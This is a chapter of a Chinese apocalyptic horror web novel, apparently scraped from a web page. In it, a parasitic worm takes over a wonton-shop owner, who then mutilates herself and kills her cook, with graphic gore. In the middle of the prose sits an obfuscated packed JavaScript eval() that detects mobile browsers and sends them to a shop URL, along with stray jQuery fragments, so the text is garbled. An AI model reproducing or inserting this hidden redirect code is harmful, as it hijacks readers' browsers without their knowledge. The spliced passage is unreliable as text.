10. 第10章

作品:《在末世遛小丧尸

    耳道内传来一阵剧痛。


    像有什么活物正在往脑子里钻。


    老板娘的手猛地一松,汤勺“哐当”一声落进了滚烫的开水里。


    她下意识地抬手去捂耳朵。


    但已经晚了。


    怪物的身体已经进去了大半。


    它的后腿在耳廓上蹬了一下,作为最后的助力,然后整个身体没入了黑暗之中。


    耳道深处,怪物的身体表面迅速分泌出更多黏滑的液体。


    它用尽全部力气,朝着更深处疯狂钻去,那里有它需要的东西。


    大脑、神经、控制一切的中枢……


    剧痛从耳朵蔓延到半张脸,像有一根烧红的铁棍从耳道里捅了进去,在颅腔内搅动。


    老板娘的身体开始剧烈颤抖。


    她捂住耳朵,手指颤抖着摸到旁边的一根筷子。


    那是一根一次性筷子,很细,很脆——但她已经顾不了那么多了。


    她把筷子狠狠插进耳道。


    她想把那东西捅出来。


    想结束这场痛苦。


    筷子入肉,直直地插了进去。


    鲜血从耳道里涌出来,顺着她的手指往下淌,一滴一滴地落在灶台上。


    但痛苦没有消失。


    因为已经太深了。


    筷子碰到了怪物的身体,但它只是往里缩了一下,然后继续前进。


    筷子的顶端刺穿了耳道内壁,在颅骨上刮了一下,发出细微的、让人牙酸的“咯吱”声。


    但怪物还在往里钻。


    老板娘的半边脸已经失去了知觉。


    她的嘴角不受控制地往下垂,左眼开始涣散,瞳孔像被什么东西从里面推着,缓缓地、不自然地转动。


    她扶着墙,张开嘴,想要叫喊,想要呼救。


    但虫子正在逐渐控制她的四肢和大脑。


    它找到了她的语言中枢。


    它掐断了那条神经。


    老板娘张着嘴,喉咙里发出一声干涩的、像破风箱一样的气音。


    然后什么声音都没有了。


    她硬是一丝声音都发不出来。


    她重新“站直”了。


    动作很僵硬,像一具被人从后面提着线牵起来的木偶。


    脊椎一节一节地挺直,肩膀向后打开,脑袋慢慢地、慢慢地抬起来。


    两个眼球无规则地来回转动。


    左眼看向左边,右眼看向右边,像两颗快要从眼眶里掉出来的弹珠,各自寻找着不同的焦点。


    她的嘴角歪了一下,像是在尝试做出一个表情,但肌肉还不听使唤。


    她伸出手,敲了敲自己的脑袋。


    “咚、咚、咚……”


    像在敲一扇门。


    眼球停住了。


    它们终于对齐了——一起看向前方。


    “饿……”


    她的嘴里发出几个零散的、含混不清的音节。


    声音不是从喉咙里出来的,而是从更深处、从某个被怪物占据的地方挤出来的——


    “好饿……”


    “食物……”


    她的目光慢慢移向面前那口滚烫的大锅。


    馄饨已经煮好了,白胖饱满地浮在水面上。一枚枚馄饨在沸水中翻滚,像一群白色的小鱼。


    一旁的桌面上,还放着早已准备好的一次性碗、调料罐、漏勺。


    她的双眼没有焦点,瞳孔空洞得像两颗玻璃珠。


    但她的嘴角。


    扯出了一抹诡异的微笑。


    那个笑容挂在脸上,和她的五官完全对不上。


    嘴唇的弧度太大,大得不像人类能做到的程度。


    嘴角几乎咧到了颧骨的位置,露出里面被血染红的牙齿。


    然后她动了。


    她伸出双手,直接探进了滚烫的锅里。


    没有犹豫。


    沸水溅起来,溅在她的手臂上、脸上、围裙上。


    她的皮肤接触到滚水的一瞬间就开始发白。


    先是从指尖开始,然后蔓延到手掌、手腕,像一朵白色的花在她手上迅速绽放。


    她感觉不到疼。


    她就那样徒手将馄饨一个个捞起来,塞进嘴里。


    咀嚼。


    吞咽。


    然后再伸手去捞。


    她的手指在沸水中搅动,指甲盖被烫得翘起来,露出下面粉红色的嫩肉。


    她没有停。


    她的嘴唇被烫出了水泡,水泡破裂,透明的液体和血混在一起,顺着下巴滴落。


    她没有停。


    手上的皮肉被烫得一层一层地脱落,混在馄饨汤里,和紫菜、虾皮搅在一起,变成一锅浑浊的、泛着白沫的液体。


    她还在吃。


    因为她感觉不到疼。


    她只觉得——


    饿。


    “老板,我回来——”


    小厨推开门,话说到一半,整个人僵在了原地。


    他闻到了一股奇怪的味道——不是馄饨的鲜香,而是一种更浓烈的、像铁锈一样的气味,混着某种说不清的腥甜。


    然后他看到了她。


    老板娘的背影。


    她站在灶台前,低着头,肩膀在轻微地耸动。


    锅里冒着热气,白雾缭绕,把她的身影映得有些模糊。


    “老板娘?盐我拿回来了”


    他往前走了两步。


    他看到了地上那滩东西。


    他一开始没反应过来那是什么。


    他以为是打翻的调料,以为是洒了的水


    然后他看到了那只汤勺。


    汤勺躺在灶台下面,勺柄上还沾着什么东西。


    他顺着那滩液体往上看


    看到了老板娘的手。


    不。


    那不是手。


    那只是“看起来像手的东西”。


    十根手指的指甲全部翘了起来,指尖的皮肤已经没有了,露出下面白生生的、被烫熟的肉。


    手腕以下的部分像被开水反复浇灌过的肉块,表皮脱落了大半,露出下面黄白色的脂肪和暗红色的肌肉组织。


    而那双“手”,正在从锅里往外捞东西。


    塞进嘴里。


    咀嚼。


    吞咽。


    小厨的盐袋子“滋啦”一声掉在地上。


    盐粒从袋口涌出来,白花花的,洒了一地,像冬天的第一场雪。


    他听到了自己的心跳——


    咚。咚。咚。咚。咚。


    快得像要从胸腔里蹦出来。


    “老、老板娘——”


    他的声音在发抖。


    他自己都听出来了。


    听到声音,老板娘的动作停了一下。


    她慢慢地转过头。


    那不是一个正常的转身。


    她的上半身先转过来,然后头才跟上,然后才是脖子、肩膀、腰。


    每一个关节都在以不正常的顺序运动,像一具还没有完全学会使用人类身体的布偶。


    看见小厨,她的脸上浮现出一抹笑容。


    那个笑容挂在一张被烫得发白的脸上,嘴角的弧度大得不正常,像是被人从两边用线扯开的。


    她的嘴唇已经不像嘴唇了,肿胀、发白、布满了水泡破裂后留下的红痕。


    但她的声音还是那样


    温温柔柔的,像平时招呼客人的语气。


    “啊,不好意思”,她歪了一下头,“我把馄饨都吃完了,我太饿了。”


    她用那双已经被烫熟的手,点了点自己的太阳穴。


    手指碰到皮肤的时候,指尖的嫩肉在太阳穴上留下了一个浅浅的、湿漉漉的印痕。


    “可是,客人都在等着了,怎么办呢?”


    小厨的嘴唇在发抖。


    他张开嘴,想说什么,但喉咙像被什么东西掐住了一样,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586937|205319||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    发不出声音。


    他的双腿发软。


    他想要后退,但脚像钉在了地上一样,动不了。


    “可是,现在也没肉馅了……”


    老板娘歪着头,目光从小厨身上慢慢移到大锅里,又从大锅慢慢移回小厨身上。


    她的眼睛里没有恶意。


    甚至没有任何情绪。


    那两颗眼珠就像两颗玻璃珠——透明、空洞、什么也没有。


    她双手合十,放在脸颊旁边。


    做出一个撒娇的姿势。


    但那个动作太慢了。


    慢得不正常。她的双手从胸前慢慢地、慢慢地抬起来,手指并拢,掌心相对,最终在脸颊旁边合拢。


    “——谢谢你啦。”


    小厨浑身一震。。


    他终于找回了自己的腿转身就跑。


    “不、不、不要——”


    话到一半。


    他忽然感到小腹一凉。


    那种凉意不是从外面来的,是从里面——像是有什么东西在他的身体内部划了一道口子,冷空气从那个口子里灌了进去。


    他的脚步停住了。


    不是他想停,是他的下半身不再配合他了。


    他的膝盖弯曲了一下,然后整个人以一种奇怪的姿势向前倾倒。


    上半身还在往前,下半身却留在了原地。


    他低下头。


    看到了自己的下半身。


    从腰腹处,整个被截断了。


    断口很整齐,像是被什么极其锋利的东西一刀切开的。


    脊椎骨从中间断裂,白森森的骨茬露在外面,周围是一圈暗红色的肌肉组织和黄色的脂肪。


    鲜血从断口处涌出来,像有人打翻了一桶深红色的油漆。


    肠子也滑了出来。


    灰白色的、湿漉漉的、还在微微蠕动的小肠,从腹腔里滑落,拖在地上,在小厨脚边盘成一团。


    温热的、滑腻的,在冰冷的地面上慢慢铺开,沾满了灰尘和盐粒。


    那双穿着工装裤的腿,正静静地躺在几步之外。


    它们还保持着站立的姿势,膝盖微微弯曲,脚尖朝前,像是在等什么人。


    一个极长的、像舌头一样的东西,正停在他身边。


    它的表面是暗红色的,布满了细小的、倒钩一样的凸起,在空气中缓慢地摆动着,像一条正在品尝味道的蛇。


    小厨顺着它看过去


    不。


    那个东西。


    老板娘的脸,已经不能被称为“脸”了。


    她的眼睛从眼眶里“挤”了出来。


    不是掉出来是“长”出来的。


    两颗眼珠被什么东西从后面推着,从眼眶里向外凸出,然后越拉越长,越拉越细,最终变成了两根极长的、暗红色的触手。


    触手的顶端还挂着那两颗眼珠,滴溜溜地转着,像两盏随时会熄灭的灯。


    她的鼻子从面部中央裂开,向两侧翻开,露出下面深红色的、还在蠕动的软肉。


    嘴巴也从中间裂开,上下颚像花瓣一样向外翻开,露出喉咙深处那一圈密密麻麻的、像鲨鱼一样的牙齿。


    其他的五官也逐一裂开。


    耳朵、脸颊、额头,每一处都分裂成暗红色的、蠕动的“花瓣”,像一朵正在盛开的、鲜红色的食人花。


    而在花心的正中央,那个原来应该是鼻腔的位置,还有一个更小的、更深的黑洞。


    那里挂着她最后剩下的东西。


    两颗滴溜溜的眼珠。


    它们正直直地盯着小厨。


    老板娘,或者说,曾经是老板娘的那个东西动了。


    她/它/不知道该怎么称呼的“东西”迈出了一步。


    脚踩在地上,发出“啪嗒”一声——那是沾满血水的鞋底接触地面的声音。


    又一步。


    又一步。


    她/它在朝他走来。